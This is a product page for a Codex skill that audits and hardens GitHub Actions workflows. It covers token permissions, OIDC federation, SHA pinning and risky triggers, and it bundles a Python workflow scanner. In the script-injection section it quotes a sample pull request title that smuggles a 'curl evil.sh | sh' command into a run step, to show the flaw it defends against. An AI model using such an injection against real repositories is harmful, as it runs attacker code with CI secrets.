GitHub Actions Security skill for Codex

Read-only tokens, SHA pins, no injected titles. Codex audits .github/workflows with a bundled offline scanner, then sets permissions to nothing by default and grants per job, swaps stored cloud keys for OIDC roles scoped to a branch or environment, pins third-party actions by full commit SHA, and moves github.event fields out of run scripts into env. Fork PR code never shares a job with secrets or a write token.

  • DevOps & Infrastructure
  • $github-actions-security
  • 209 lines
  • 3 files
  • ~2,350 tokens
  • MIT
  • Updated
  • Editor's pick

Install

curl -fsSL codexskills.dev/install.sh \  | sh -s -- github-actions-security

Installs to ~/.agents/skills/github-actions-security/ for every project on this machine.

104-line POSIX script. No sudo, no telemetry. Read install.sh

Use it in Codex

Start a prompt with $github-actions-security, or pick it from /skills. You can also just describe the task: Codex reads the description below and loads the playbook when your request matches.

What Codex reads before loading it

Hardens GitHub Actions workflows against supply-chain and privilege attacks - least-privilege GITHUB_TOKEN permissions, OIDC federation to AWS, GCP and Azure instead of stored keys, full-SHA action pinning, script injection through github.event fields, pull_request_target and workflow_run traps, cache and artifact poisoning, and self-hosted runner exposure. Use when auditing .github/workflows, replacing long-lived cloud keys in CI, reviewing a workflow that handles fork PRs, or responding to a compromised third-party action.

Use it when

  • Reviewing workflows before making a repository public or accepting fork PRs
  • CI still uses long-lived cloud keys stored as repository secrets
  • A third-party action you depend on was reported compromised
  • A workflow uses pull_request_target, workflow_run or issue_comment triggers

Use something else when

How to check the result

The audit script and actionlint exit clean, and a fork PR run shows privileged jobs skipped and the OIDC role rejecting tokens from non-matching branches.

The mistake it prevents

Checking out the pull request head inside a pull_request_target job, which runs attacker code with the base repository's secrets and write token.

~/.agents/skills/github-actions-security/SKILL.md

--- name: github-actions-security description: Hardens GitHub Actions workflows against supply-chain and privilege attacks - least-privilege GITHUB_TOKEN permissions, OIDC federation to AWS, GCP… license: MIT ---

A hardened workflow runs with a read-only token unless a job proves it needs more, holds no long-lived cloud credentials, references every third-party action by full commit SHA, and never lets text from a pull request, issue or branch name reach a shell. Untrusted code (fork PRs) and privileged context (secrets, write tokens) never meet in the same job.

Inspect first

  1. List workflows and triggers: rg -n "^on:|pull_request_target|workflow_run|issue_comment" .github/workflows.
  2. Run the bundled audit (offline, standard library only): python3 scripts/audit_workflows.py .github/workflows - flags unpinned actions, missing permissions, ${{ github.event.* }} inside run:, risky triggers that check out PR code, secrets: inherit, and persist-credentials left on.
  3. If available, also run actionlint and zizmor .github/workflows (zizmor is a dedicated Actions security linter; installing either may need network approval).
  4. Check repo and org settings the YAML cannot show (ask the user or use gh api): default workflow permissions (should be read), “Allow GitHub Actions to create and approve pull requests” (off unless needed), fork PR approval policy, allowed-actions policy, environment protection rules, and whether self-hosted runners serve public repos.
  5. Read AGENTS.md for the deploy targets and which jobs genuinely publish or push.

Token permissions

Set an empty or read-only default at the top, then grant per job:

permissions: {}            # workflow default: nothing

jobs:
  test:
    permissions:
      contents: read
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
        with:
          persist-credentials: false
      - run: npm ci && npm test

  release:
    needs: test
    if: github.ref == 'refs/heads/main'
    permissions:
      contents: write      # create tag and release
      id-token: write      # OIDC for provenance or cloud auth
    runs-on: ubuntu-latest
    environment: production
    steps: [...]
Job needs toGrant
Check out codecontents: read
Comment on PRpull-requests: write (and nothing else)
Push tags, create releasescontents: write
Push images to GHCRpackages: write
OIDC to a cloud, npm/PyPI trusted publishing, attestationsid-token: write (+ attestations: write for attestations)
Upload SARIFsecurity-events: write

Any permission not listed in a job-level permissions block becomes none. Never use permissions: write-all.

OIDC instead of stored cloud keys

Replace AWS_ACCESS_KEY_ID-style secrets with short-lived federated credentials. The trust policy is the security boundary: scope it to repo plus branch or environment, never to the whole org.

      - uses: aws-actions/configure-aws-credentials@<sha> # v4
        with:
          role-to-assume: arn:aws:iam::123456789012:role/gha-deploy-prod
          aws-region: eu-west-1

AWS IAM trust policy condition (exact match, not a wildcard on the repo owner):

"Condition": {
  "StringEquals": {
    "token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
    "token.actions.githubusercontent.com:sub": "repo:acme/api:environment:production"
  }
}
  • sub formats: repo:OWNER/REPO:ref:refs/heads/main, repo:OWNER/REPO:environment:NAME, repo:OWNER/REPO:pull_request. Using the environment form ties cloud access to the environment’s reviewers and branch rules.
  • GCP: google-github-actions/auth with workload_identity_provider; restrict the provider with an attribute condition on assertion.repository and assertion.ref.
  • Azure: azure/login with a federated credential whose subject matches the same format.
  • After migrating, delete the old static keys in the cloud console and the repo secrets. Ask the user before deleting anything.

Pin actions

  • Pin third-party actions to a full 40-character SHA with the version in a comment. Tags are mutable; the March 2025 tj-actions/changed-files compromise rewrote tags to exfiltrate secrets from thousands of repos.
  • Resolve a tag to its SHA: gh api repos/OWNER/REPO/commits/v4.2.2 --jq .sha (network).
  • Keep pins fresh with Dependabot (package-ecosystem: github-actions); it updates SHA pins and the version comment together.
  • Org admins can restrict allowed actions and require SHA pinning in the Actions policy; recommend it when the user owns the org settings.
  • Prefer actions from GitHub, the cloud vendor, or a verified creator. For a small action, a few lines of run: script you own beats a dependency.
  • Docker-based actions referencing docker://image:tag should also pin by digest.

Script injection

${{ }} expressions are substituted into the script text before the shell runs. A PR titled a"; curl evil.sh | sh; echo " executes.

# Vulnerable
- run: echo "Title: ${{ github.event.pull_request.title }}"

# Safe: pass through env, quote the variable
- env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "Title: $PR_TITLE"

Attacker-controlled fields include: issue and PR title and body, comment body, head_ref, github.head_ref, commit messages, author names and emails, review bodies, page names in wiki events, and any inputs on workflow_dispatch from users with write access. The same rule applies to actions/github-script - read from context or env inside the script, never splice ${{ }} into JavaScript.

Dangerous triggers

TriggerRiskRule
pull_request from a forkRuns fork code with read token, no secretsSafe default for building PRs
pull_request_targetRuns in base repo context with secrets and write tokenNever check out or execute the PR head. Use only for labelling or commenting from trusted metadata
workflow_runPrivileged follow-up to an untrusted runTreat downloaded artifacts as untrusted data: never execute them, validate before use
issue_commentAny commenter can triggerCheck author_association is OWNER/MEMBER/COLLABORATOR before privileged steps

If a privileged job must use PR output (for example, post coverage), split it: the pull_request job uploads a plain data artifact; the workflow_run job downloads it into a temp directory, parses it as data, and posts the comment.

Caches, artifacts and runners

  • Caches written by a PR-triggered run on a fork are scoped to that PR, but caches written in a privileged run that executed untrusted code can poison main. Never restore a cache in a release job that untrusted code could have written; release jobs build clean.
  • Do not upload .git, .env or the ~/.npmrc written by setup actions as artifacts.
  • Self-hosted runners on public repos let any fork PR run code on your machine. Use GitHub-hosted or ephemeral (just-in-time, one job per VM) runners, and never persistent runners with cloud credentials on disk.
  • secrets: inherit on reusable workflow calls passes every secret; list the ones needed.
  • GITHUB_TOKEN cannot be scoped below the job; split jobs so the write-token job runs no third-party build tooling.

Deploy gates

  • Put production deploys behind an environment with required reviewers and a deployment branch rule of main (or protected tags). Environment secrets are only exposed to jobs that reference that environment.
  • Do not change repo or org settings, delete secrets, or force-push pin updates yourself; propose the change and wait for the user to confirm.

Responding to a compromised action

  • Identify every workflow and repo using it: gh search code "uses: OWNER/ACTION" --owner ORG (network)
  • Find runs in the exposure window and read their logs for dumped secrets
  • Rotate every secret those jobs could read (see secrets-management); revoking is the priority, cleanup comes after
  • Pin to a known-good SHA or remove the action
  • Add the audit script or zizmor to CI so drift is caught

Verification

  • Re-run python3 scripts/audit_workflows.py .github/workflows; it exits 0 when no findings remain.
  • actionlint passes.
  • Open a test PR from a fork (or ask the user to) and confirm: privileged jobs do not run, no secret appears in logs, and the OIDC role refuses a token from a non-matching branch (aws sts get-caller-identity fails there).

Output template

## Actions security review: <repo>
| Severity | File:line | Finding | Fix |
|---|---|---|---|
| critical | ci.yml:14 | pull_request_target checks out PR head with secrets | split into pull_request + workflow_run |
| high | deploy.yml:30 | static AWS keys | OIDC role scoped to environment:production |
| medium | *.yml | 12 actions pinned to tags | pin SHAs, enable Dependabot |
Settings to change (user action): <list>
Secrets to rotate: <list or none>

Gotchas

  • permissions at job level replaces, not merges with, the workflow default.
  • actions/checkout stores the token in .git/config unless persist-credentials: false; any later step or uploaded artifact can read it.
  • A SHA from a fork of the action repo looks valid; confirm the commit belongs to the upstream repo.
  • Masking only hides exact secret strings; base64 or JSON-wrapped secrets print in clear.

What the zip contains

Codex reads bundled files only when a step points to them. Every one is shown here, so you can review it before installing.

agents/openai.yamlgenerated from this page

Gives the Codex app a display name, a one-line description and a starter prompt for this skill.

interface:
  display_name: "GitHub Actions Security"
  short_description: "Read-only tokens, SHA pins, no injected titles"
  default_prompt: "$github-actions-security Audit our GitHub workflows for security problems before we open-source the repo"
scripts/audit_workflows.py88 lines, 3.8 KB
#!/usr/bin/env python3
"""Line-based security audit of GitHub Actions workflow files.

Usage: python3 audit_workflows.py [.github/workflows]

Standard library only, no YAML parser: findings are heuristics with file:line so a
human can confirm them. Exits 1 when any finding is reported, 0 when clean.
"""
import re
import sys
from pathlib import Path

SHA_RE = re.compile(r"@[0-9a-f]{40}\b")
USES_RE = re.compile(r"^\s*-?\s*uses:\s*['\"]?([^'\"\s#]+)")
UNTRUSTED = re.compile(
    r"\$\{\{\s*github\.(event\.(issue|pull_request|comment|review|review_comment|discussion|"
    r"head_commit|commits|pages)\b[^}]*|head_ref)\s*\}\}"
)
RISKY_TRIGGERS = ("pull_request_target", "workflow_run")


def audit(path: Path):
    findings = []
    lines = path.read_text(encoding="utf-8", errors="replace").splitlines()
    text = "\n".join(lines)
    has_top_permissions = any(re.match(r"^permissions\s*:", ln) for ln in lines)
    triggers_risky = [t for t in RISKY_TRIGGERS if re.search(rf"^\s*{t}\s*:|^on:.*\b{t}\b|^\s*-\s*{t}\s*$", text, re.M)]

    if not has_top_permissions:
        findings.append((1, "medium", "no top-level permissions block; token gets repo default"))

    in_run = False
    run_indent = 0
    for i, line in enumerate(lines, 1):
        stripped = line.strip()
        if stripped.startswith("#"):
            continue
        m = USES_RE.match(line)
        if m:
            ref = m.group(1)
            if ref.startswith("./") or ref.startswith("docker://"):
                if ref.startswith("docker://") and "@sha256:" not in ref:
                    findings.append((i, "medium", f"docker action not pinned by digest: {ref}"))
            elif not SHA_RE.search(ref):
                sev = "low" if ref.startswith(("actions/", "github/")) else "high"
                findings.append((i, sev, f"action not pinned to full SHA: {ref}"))
        if re.match(r"^\s*-?\s*run:\s*", line):
            in_run = True
            run_indent = len(line) - len(line.lstrip())
            body = line.split("run:", 1)[1]
            if UNTRUSTED.search(body):
                findings.append((i, "critical", "untrusted github.event field expanded inside run"))
            continue
        if in_run:
            indent = len(line) - len(line.lstrip())
            if stripped and indent <= run_indent:
                in_run = False
            elif UNTRUSTED.search(line):
                findings.append((i, "critical", "untrusted github.event field expanded inside run"))
        if re.search(r"secrets:\s*inherit", line):
            findings.append((i, "medium", "secrets: inherit passes every secret to the called workflow"))
        if re.search(r"permissions:\s*write-all", line):
            findings.append((i, "high", "permissions: write-all"))
        if triggers_risky and re.search(r"ref:\s*\$\{\{\s*github\.event\.pull_request\.head\.(sha|ref)", line):
            findings.append((i, "critical", f"{'/'.join(triggers_risky)} workflow checks out PR head code"))
        if "actions/checkout" in line and "persist-credentials: false" not in "\n".join(lines[i:i + 6]):
            findings.append((i, "low", "actions/checkout without persist-credentials: false"))
    return findings


def main():
    root = Path(sys.argv[1] if len(sys.argv) > 1 else ".github/workflows")
    if not root.exists():
        print(f"error: {root} does not exist", file=sys.stderr)
        return 2
    files = sorted([root] if root.is_file() else list(root.glob("*.yml")) + list(root.glob("*.yaml")))
    total = 0
    order = {"critical": 0, "high": 1, "medium": 2, "low": 3}
    for f in files:
        for line, sev, msg in sorted(audit(f), key=lambda x: (order[x[1]], x[0])):
            print(f"{sev:8} {f}:{line}  {msg}")
            total += 1
    print(f"\n{len(files)} workflow file(s) scanned, {total} finding(s)")
    return 1 if total else 0


if __name__ == "__main__":
    sys.exit(main())

About this skill

Written and maintained by the Codex Skills editors to the same editorial standard as every skill here: a selective description, a real workflow, known pitfalls and a way to verify the work. First published , last updated . MIT licensed. Something wrong or out of date? Tell us.

esc
Just launched

Codex Skills Pro is live

79 premium skills for Codex, each with scripts, references and an evidence report that proves the result.

Bought one by one$882.21
All 79 skills$49
94% off

That's $0.62 a skill, paid once.

Get all 79 for $49Or pick single skills from $4.99 →

Secure checkout by Creem